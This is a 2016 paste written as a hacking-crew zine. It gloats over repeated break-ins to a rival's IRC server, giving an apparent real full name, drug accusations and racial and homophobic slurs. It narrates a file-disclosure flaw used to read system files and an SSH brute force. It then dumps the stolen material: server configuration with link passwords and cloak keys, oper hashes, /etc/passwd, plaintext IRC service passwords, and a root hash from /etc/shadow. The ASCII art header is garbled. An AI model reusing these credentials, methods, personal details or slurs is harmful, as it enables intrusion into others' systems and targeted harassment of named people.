236PDjq5

· 9 years ago · Nov 24, 2016, 09:44 PM
1â–‘â–‘                                â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘                  â–’â–’â–ˆâ–ˆâ–ˆâ–ˆ
2â–‘â–‘    â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘        â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘            â–“â–“â–ˆâ–ˆâ–“â–“â–ˆâ–ˆâ–“â–“      â–‘â–‘
3â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘          â–ˆâ–ˆâ–ˆâ–ˆ  â–“â–“â–ˆâ–ˆâ–‘â–‘  â–‘â–‘â–‘â–‘
4â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘          â–‘â–‘â–ˆâ–ˆâ–’â–’  â–ˆâ–ˆâ–ˆâ–ˆ  â–‘â–‘â–‘â–‘
5â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–’â–ˆâ–ˆâ–’â–ˆâ–ˆâ–’â–’â–‘â–‘â–ˆâ–ˆâ–‘â–ˆâ–ˆâ–‘â–ˆâ–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–‘â–ˆâ–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘  â–‘â–‘â–’â–’â–‘â–‘  â–‘â–‘â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–’â–’â–ˆâ–ˆâ–“â–“  â–‘â–‘
6â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–’â–’â–’â–ˆâ–ˆâ–’â–ˆâ–ˆâ–’â–’â–’â–’â–ˆâ–ˆâ–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘  â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–’â–’  â–“â–“  â–“â–“â–ˆâ–ˆâ–‘â–‘
7â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–ˆâ–ˆâ–‘â–‘â–‘â–ˆâ–‘â–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–ˆâ–‘â–‘â–ˆâ–ˆâ–‘  â–‘â–‘â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–‘â–‘    â–’â–’â–’â–’â–‘â–‘â–ˆâ–ˆâ–“â–“
8â–‘â–ˆâ–ˆâ–‘â–’â–’â–’â–’â–’â–ˆâ–ˆâ–’â–ˆâ–ˆâ–’â–’â–’â–’â–ˆâ–ˆâ–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–ˆâ–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–ˆâ–‘â–ˆâ–ˆâ–‘â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–’â–’    â–’â–’â–“â–“        â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–’â–’â–ˆâ–ˆâ–’â–’
9â–‘â–ˆâ–ˆâ–‘â–’â–’â–’â–’â–’â–ˆâ–ˆâ–’â–ˆâ–ˆâ–’â–’â–’â–’â–ˆâ–ˆâ–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘        â–“â–“â–‘â–‘  â–‘â–‘â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–‘â–‘â–ˆâ–ˆâ–“â–“
10â–‘â–ˆâ–ˆâ–‘â–’â–’â–’â–’â–’â–ˆâ–ˆâ–’â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–‘  â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–’â–’            â–‘â–‘â–“â–“â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–’
11â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘    â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“                  â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘    â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘
12â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘          â–‘â–‘â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘                      â–ˆâ–ˆâ–“â–“
13â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘        â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“            â–’â–’â–‘â–‘        â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘
14â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘      â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘                â–“â–“      â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘
15â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘    â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–’â–’â–‘â–‘      â–“â–“      â–‘â–‘â–’â–’â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–’â–’      â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘
16â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘  â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–’â–’â–’â–’â–“â–“      â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ        â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘
17â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘  â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–“â–“â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘        â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–‘â–‘â–‘â–‘
18â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘    â–“â–“â–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“        â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–‘â–‘
19â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘        â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘        â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’
20  â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘    â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“          â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’
21              â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–“â–“â–ˆâ–ˆâ–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘  â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’
22            â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’
23          â–“â–“â–ˆâ–ˆâ–’â–’â–“â–“â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–’â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’Roto-Rooted Bi-Weeklyâ–’â–’â–’â–‘â–‘
24      â–’â–’â–ˆâ–ˆâ–“â–“â–‘â–‘â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–’â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’The Story of Hannâ–’â–’â–’â–‘â–‘â–‘â–‘
25  â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–’â–’â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–“â–“â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’â–“â–“â–’â–’â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘
26â–“â–“â–ˆâ–ˆâ–’â–’â–‘â–‘â–’â–’â–ˆâ–ˆâ–“â–“â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’EllyEl8 & The SilverLordsâ–’â–’â–’â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘
27â–“â–“â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘    â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘
28  â–“â–“â–ˆâ–ˆâ–’â–’        â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–’â–’â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘
29
30Some call him Michael Dean Major, Jr.
31
32Others know him as hann aka marcdoubt aka patton aka niggered aka roughly a
33million other nicks. No matter what name you know him as, you'll know he's a
34total louse and he has been a scab on the scene for months and months! He has
35been expunged from every group he has attempted to brown-nose his way into
36because he is a lying, self-aggrandizing, thief, know-nothing, meanie junky who
37couldn't hold HTP's jockstrap (even though he did for a few months, sadly).
38After being brutally destroyed in doxbin 6, our hapless hero realized that
39ultimately, he couldn't keep away from the "scene" (whatever that is). He
40announced to the world that he was "BACC"!
41
42People gathered around, and then we got to watch him convulse on TinyChat,
43shooting up some black tar heroin and mumbling incoherent ebonics. He's such a
44classy guy~
45
46Once Stage One of his super-ultimate plan had been completed, he launched
47himself into Stage Two with a cunning rivalled only by slightly retarded
48monkeys. He dropped names and licked ass, but failed to get into any groups,
49mostly because nobody is enough of a silly goose to mistake schizophrenic
50blogging libterally sprinkled with nicks everyone knows for actual skill.
51It wasn't over, though. Hann knew the scene needed him. It needed a champion!
52And so he gathered a group of super-talented scene titans! #SEVENSSSSSSS was
53born; his very own crew of xbox-live skids, try-hard rappers, and swatters!
54
55#SEVENSSSSSSS~
56
57Little did he know that the SilverLords had been paying close attention and
58with our mighty Brazilian powers combined were able to own him thrice in as
59many weeks. HAhaeuheAUHEaleAHUEHAuaheauaAUAhehAh ekkekEK EKkekekeKEk
60hAHuehaelLEEle;KEkEKkEK
61
62  = 2014-02-02 21:13 <~marc> 3rd time i ever set up unreal+anope
63
64Gee, I wonder why? Let's explore...
65
66-==========================================================-
67-=== Exhibit A: vps.schoolofprivacy.eu ====================-
68-==========================================================-
69
70  <~sevens> this server is
71  <~sevens> soooooooooooooooooooooooooo
72  <~sevens> secure
73  <~sevens> like u have no idea how hard i worked
74  <~sevens> before i even
75  <~sevens> made ircd a user
76  <~sevens> from ground up
77
78So, you've started the most elite hacker group in town, but you have no servers
79or money to speak of, what do you do? If you have anything like the skillset of
80Mister Michael Dean Major you will pucker up your lips and suck every cock in
81town for a free shared shell to build your budding IRC network on.
82
83Now that you've acquired a secure base, we need to setup our IRC network. Any
84true SilverLord knows that compartmentalization is key in maintaining your
85network's security. Hann knows this, so he tells everyone that they have
86individualized onions (don't leak lol!), but a 12 line bash script is too much
87effort so fuck it, we'll skip the implementation (none of your friends would
88betray you, anyway, right?). Next step is to bind all the ports to localhost,
89he skips this too, since he knows that nobody likes him enough to go through the
90effort of reconfiguring their IRC clients to connect to Tor hidden services.
91
92So, since we have the clearnet address of his box, the logical step is to start
93probing services! He's got some gross web apps running, but one of these had a
94cute LFD we were able to leverage to enumerate the usernames from /etc/passwd.
95When we pull out our handy-dandy SSH bruteforcer we find that we have access to
963 (Golly!) different user accounts on the box. Logging into the box and running
97"ps faux" reveals this fine example of stellar adminning:
98
99  root 31833 ?     Jan16   0:03 /usr/sbin/sshd -D
100  root 14338 ?     Jan17   0:02  \_ sshd: patton@pts/0  
101  root 14351 pts/0 Jan17   0:00  |   \_ -bash
102  ircd 14527 pts/0 Jan17   0:00  |       \_ su ircd
103  ircd 14528 pts/0 Jan17   0:00  |           \_ bash	
104  root 14611 pts/0 Jan17   0:00  |               \_ su patton	
105  root 14612 pts/0 Jan17   0:00  |                   \_ bash	
106  ircd 14701 pts/0 Jan17   0:00  |                       \_ su ircd	
107  ircd 14702 pts/0 Jan17   0:00  |                           \_ bash	
108  root 24417 pts/0 Jan18   0:00  |                               \_ su patton	
109  root 24418 pts/0 Jan18   0:00  |                                   \_ bash
110
111As all good admins know, leaving everyone's home directories with global read
112permissions is paramount to security. Following this principle, we were able to
113copy ircd.tar.gz from /home/ircd, which what do you know, has Anope databases in
114it! 
115
116Using our very own Brazillian Anope database parser we find that "nigg"'s (hann
117appears to think he's black) NickServ password is "hitlist1", which also happens
118to be the ircd's user account on the box! After much rejoicing, we mined all of
119the logs from his bots (very ethical, Mister Dean) and proceeded to hackily hook
120his IRCd. Being slightly impatient, we decided to go ahead and restart the IRCd
121and see if he didn't notice. This nets us his oper hash, "datgoodgreen" (more
122wigger shit).
123
124  ~ # grep -Ei "(oper|identify)" log
125  BOPM: ns identify pass123
126  BOPM: OPER nigg datgoodgreen
127  BOPM: JOIN #oper
128  rory: JOIN #opers 
129  rory: MODE #opers
130  rory: MODE #opers
131  rory: oper nigg datgoodgreen
132  rory: PRIVMSG nickserv :identify hitlist1
133  nc: JOIN #opers 
134  nc: MODE #opers
135  ~ # 
136
137Unfortunately, hann was wide awake on a cocaine binge and noticed the IRCd
138restart right away, but after finding us in nearly every user account on the
139box despite his best attempts at expunging us (deleting /tmp/) he decided he
140should reformat it. Happily for Melly, hann really enjoyed the Unreal hook:
141
142  <pppp> but he did leave me
143  <pppp> a nice
144  <pppp> unreal hook
145  <pppp> to steal
146
147Thanks hann! Guess we'll share with the class:
148
149  FILE *f = fopen("log", "a+");
150  fprintf(f, "%s: %s\n", (*cptr->name ? cptr->name : "*"), cptr->buffer);
151  fclose(f);
152
153Anyone with half a brain and ten minutes could come up with something better,
154but that's hann for you, he can't do any original work so he just steals
155everything can find. RIP #SEVENSv1.
156 
157heaheuHAUhuaheuswuAUhaHUEaHUTHHTHTht
158kekkekekkeaf
159
160Let's check out his unrealircd.conf:
161
162  ircd@vps.schoolofprivacy.eu:~$ cat Unreal/Unreal3.2/unrealircd.conf
163  # For *NIX, uncomment these 2 lines:
164  loadmodule src/modules/commands.so;
165  loadmodule src/modules/cloak.so;
166  include "aliases/anope.conf";
167  # For WINDOWS, uncomment these 2 lines:
168  #loadmodule modules/commands.dll;
169  #loadmodule modules/cloak.dll;
170
171  listen 127.0.0.1:6669;
172  link Chippy1337.seve.ns.gov
173  {
174    username	 	*;	
175    hostname	 	127.0.0.1;	
176    bind-ip			127.0.0.1;
177    port			6669;
178    hub			qaeda.seve.ns.gov;
179    password-connect        "dickshit";
180    password-receive	"dickshit";
181    class			default;
182  };
183  # ME block [REQUIRED]
184  me {
185    # Server name
186    name "Seve.ns";
187
188    # Server description
189    info "(Al-Qaeda Label)";
190
191    # Server numeric. Must be between 1 and 255.
192    # This number must be unique among the servers in the network.
193    numeric 100;
194  };
195
196  tld {
197    mask *@*;
198    motd services.motd;
199    rules rules.motd;
200    shortmotd services.motd;
201    opermotd services.motd;
202    botmotd services.motd;
203    options {
204      ssl;
205    };
206  };
207
208  # ADMIN block [REQUIRED]
209  admin {
210    # Anything can go in this block, most people just put their nick and email.
211    "Nick: rory";
212    "Email: rory@nsa.gov";
213  };
214
215
216  # CLASS block [RECOMMENDED]
217  class clients {
218    # How often do we ping clients?
219    pingfreq 90;
220
221    # How many clients should this class hold?
222    maxclients 500;
223    options
224    {
225      nofakelag;
226    };
227    # How much are they allowed to send or receive at one time?
228    sendq 100000;
229    recvq 8000;
230  };
231
232  # ALLOW block [REQUIRED]
233  allow {
234    # Host OR IP to match. Note this is OR not AND!
235    ip *@*;
236    hostname *@*;
237    maxperip 100;
238    # What class do these users go into?
239    class clients;
240  };
241
242  # LISTEN block [REQUIRED]
243  # You can have as many of these as you want.
244  # The syntax is: listen <ip>:port;
245  listen *:6667;
246  listen         *:6697
247  {
248    options
249    {
250      ssl;
251      clientsonly;
252    };
253  };
254  listen *:7000 {
255      options {
256          ssl;
257          serversonly;
258      };
259  };
260  listen *:9899 {
261      options {
262          ssl;
263          serversonly;
264      };
265  };
266  listen *:9890
267  {
268          options
269          {
270                  ssl;
271                  serversonly;
272          };
273  };
274  set {	
275    modes-on-connect "+ixw";
276    modes-on-oper "+bxwgs";
277    oper-auto-join "#opers";	
278    anti-spam-quit-message-time 10s;
279    oper-only-stats "okfGsMRUEelLCXzdD";
280
281    throttle {
282      connections 60;
283      period 60s;
284    };
285  };
286  # OPER block [RECOMMENDED]
287  # You can have as many oper blocks as you want.
288  oper nigg {
289          class clients;
290          from {
291                  userhost *@*;
292          };
293          password "$Pw6tGPMk$i8ZwNi/4YQcuQ5IgecEaGkikhCw=" { sha1; };
294          flags oOCAaNrDRwgcLkKbBnGztZWHvqXFd;
295          swhois "SEVENS";
296          snomask fkvGnNqsSocF;
297  };
298  oper nc {
299          class clients;
300          from {
301                  userhost *@*;
302          };
303          password "$Pw6tGPMk$i8ZwNi/4YQcuQ5IgecEaGkikhCw=" { sha1; };
304          flags oOCAaNrDRwgcLkKbBnGztZWHvqXFd;
305          swhois "SEVENS";
306          snomask fkvGnNqsSocF;
307  };
308  # DRPASS block [RECOMMENDED]
309  drpass {
310    # Password for /restart
311    restart "plz-restart";
312
313    # Password for /die
314    die "die-you-stupid";
315  };
316  # LOG block [RECOMMENDED]
317  log ircd.log {
318    # What is the biggest to let this file get?
319    maxsize 5MB;
320
321    # What do we want to log?
322    flags {
323      # For descriptions of these flags, see doc/unreal32docs.html
324      errors;
325      kills;
326      tkl;
327      connects;
328      server-connects;
329      oper;
330      sadmin-commands;
331      chg-commands;
332      oper-override;
333      spamfilter;
334    };
335  };
336
337  # SET block [REQUIRED]
338  set {
339    # Email address to give to banned users.
340    kline-address "rory@nsa.gov";
341
342    # How many channels each user may be in.
343    maxchannelsperuser 10;
344
345    # The default network server if this one is full.
346    default-server none;
347
348    # What is the name of the Services Server?
349    services-server Chippy1337.seve.ns.gov;
350
351    # What is the name of the network? NO SPACES!
352    network-name Qae.da.Seve.ns;
353
354    # Oper hosts for each oper level
355    hosts {
356      global "seve.ns";
357      coadmin "coadmin.seve.ns";
358      admin "admin.seve.ns";
359      servicesadmin "csops.seve.ns";
360      netadmin "wow.qae.da.seve.ns";
361      host-on-oper-up "yes";
362   };         
363          options {
364                  hide-ulines;
365                  flat-map;
366                  fail-oper-warn;
367                  show-connect-info;
368          };
369    # Where do people go for help?
370    help-channel "#help";
371
372    # What to put in front of cloaked hosts
373    hiddenhost-prefix "Special-Agent";
374
375    # Keys to cloak the host with. THESE SHOULD BE KEPT SECRET!111!1
376    # These keys must be the same on all servers in the network.
377          cloak-keys {
378                  "AFXn01nlcH47532khx0xcoP4PI2C";
379                  "4HT7rj7D6HY757Tc";
380                  "n0orN3ilcJTi8CFQFX";
381    };
382  };
383  ulines {
384        Chippy1337.seve.ns.gov;
385        zalgo.irc.cuteis.us;           
386        ramnode.cuteis.us; 
387        pro.cuteis.us;
388        frack.cuteis.us;
389        scout.cuteis.us;
390  };
391  ircd@vps.schoolofprivacy.eu:~$ # DOES /bin/nologin MEAN NOTHING TO YOU?
392  ircd@vps.schoolofprivacy.eu:~$ cat /etc/passwd
393  root:x:0:0:root:/root:/bin/bash
394  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
395  bin:x:2:2:bin:/bin:/bin/sh
396  sys:x:3:3:sys:/dev:/bin/sh
397  sync:x:4:65534:sync:/bin:/bin/sync
398  games:x:5:60:games:/usr/games:/bin/sh
399  man:x:6:12:man:/var/cache/man:/bin/sh
400  lp:x:7:7:lp:/var/spool/lpd:/bin/sh
401  mail:x:8:8:mail:/var/mail:/bin/sh
402  news:x:9:9:news:/var/spool/news:/bin/sh
403  uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
404  proxy:x:13:13:proxy:/bin:/bin/sh
405  www-data:x:33:33:www-data:/var/www:/bin/sh
406  backup:x:34:34:backup:/var/backups:/bin/sh
407  list:x:38:38:Mailing List Manager:/var/list:/bin/sh
408  irc:x:39:39:ircd:/var/run/ircd:/bin/sh
409  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
410  nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
411  libuuid:x:100:101::/var/lib/libuuid:/bin/sh
412  syslog:x:101:103::/home/syslog:/bin/false
413  messagebus:x:102:104::/var/run/dbus:/bin/false
414  sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
415  mysql:x:104:106:MySQL Server,,,:/nonexistent:/bin/false
416  quasselcore:x:105:108::/var/lib/quassel:/bin/false
417  r00t:x:1000:1000::/home/r00t:/bin/sh
418  sutler:x:1001:1001:sutler,1,1,1,1:/home/sutler:/bin/bash
419  jammy:x:1002:1002:1,1,1,1,1:/home/jammy:/bin/bash
420  kenose:x:1003:1003:1,1,1,1,1:/home/kenose:/bin/bash
421  josh:x:1004:1004:,,,:/home/josh:/bin/bash
422  bitlbee:x:106:109::/var/lib/bitlbee/:/bin/false
423  danny:x:1005:1005:1,,,:/home/danny:/bin/bash
424  spyco:x:1008:1008:,,,:/home/spyco:/bin/bash
425  freedomhacker:x:1009:1009:,,,:/home/freedomhacker:/bin/bash
426  postfix:x:107:110::/var/spool/postfix:/bin/false
427  narwaal:x:1010:1010:,,,:/home/narwaal:/bin/bash
428  meep:x:1007:1007:,,,:/home/meep:/bin/bash
429  patton:x:0:1011:,,,:/home/patton:/bin/bash
430  znc:x:1011:1012:,,,:/home/znc:/bin/bash
431  brr:x:1012:1013:brr,,,,cute:/home/brr:/bin/bash
432  hav0c:x:1013:1014:,,,:/home/hav0c:/bin/bash
433  nc:x:1015:1015:,,,:/home/nc:/bin/bash
434  ircd:x:1006:1016:,,,:/home/ircd:/bin/bash
435  debian-tor:x:108:112::/var/lib/tor:/bin/bash
436
437How about some Anope passwords?
438
439  prdelka:fa99cada9641da08dddf648e5a1b280bbf5b4143:dongs
440  bopm:aafdc23870ecbcd3d557b6423a8982134e17927e:pass123
441  dmzpkts:b1aa14315bdbc2bdb4db442c176b0819f2eae550:niggers
442  motion:5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8:password
443  cep:dd2edb87ea9eb7a32fd4057276d3a1fab861c1d5:fuckyou
444  rory:a83dbd8bd016409f317f477f9cf8dddf3eed8230:hitlist1
445    ^ PASSWORD SECURTY IS PARAMOUNT HERE AS U CAN SEE KEKEKEKE
446  chF:72ac9340a7e5174197d243cc9e63246970c1ce16:loldongs123
447  nc:bdd2bcf4af533a52a8872f016d5dc31cefbd9366:diggernicks
448  TruePatriot:6fac8d1acd7d66db1c2abc3d31ed8fea13790f49:dickslol
449  wind:d4ebe94783ee5032ce16b8a340310935433bd886:loldongs321
450  thraxx:dd5003fbb919aba77617d82fff97a7f0c54fadbf:123sevens!
451  riako:31ece04fcf21a6be7789bca5a09c7462e0ea6bca:imgayimgayimgay
452
453In the end, we only got to run amuck in the box for a couple of hours
454(._____.). Since hann couldn't handle the SilverLords, he had to concede defeat
455and delete fucking everything! Of course, hann suffers from delusions of
456grandeur and cannot be defeated, so to hann this is a victory against the
457chatters! Everybody wins! Yaaaaaaay! :D
458
459Michael would have us believe that only two people hate him in the whole wide
460world, but he is about to find out that nobody likes him, he's just an Elly and
461Melly punching bag. kekekkekkKEhAhAHhaeuEheuahUAHEhauHUAehuehuaheuUAHe
462
463-==========================================================-
464-=== Exhibit B: vps.schoolofprivacy.eu ... AGAIN?!?>! =====-
465-==========================================================-
466
467What if we were to tell you, that we did have an insider all along? Well, we
468totally did. One Glorious Knight of the SilverLord Roundtable had gained trust
469through disinformation, Mitnicking and juping peoples' nicks and credz. Good ol'
470hacking too.
471
472[Lord]IntangirTheGod managed to root the box with clever heckin' maneuvers and
473took it to it, grabbing everything that was great off the box, including hann's
474important research, which we will show in a minute. 
475
476Then zeekill went and nulled the box before we could "tidy up the box" for him.
477OH WELL kekekKEHAhleahehUAUHEuahUAEHuehehauHAh. RIP #SEVENSv2.
478
479  root@priv11:~# cat /etc/shadow
480  root:$6$VwE2NKOa$usqlPIfMFEUfSr1mWOhyO2cyLMuYe8qbjq3I.wwa8HvnAC8PURZgg2rU/mEE1jtfO3ntQv4ub18BI5Sme7RB81:16090:0:99999:7:::
481  daemon:*:15456:0:99999:7:::
482  bin:*:15456:0:99999:7:::
483  sys:*:15456:0:99999:7:::
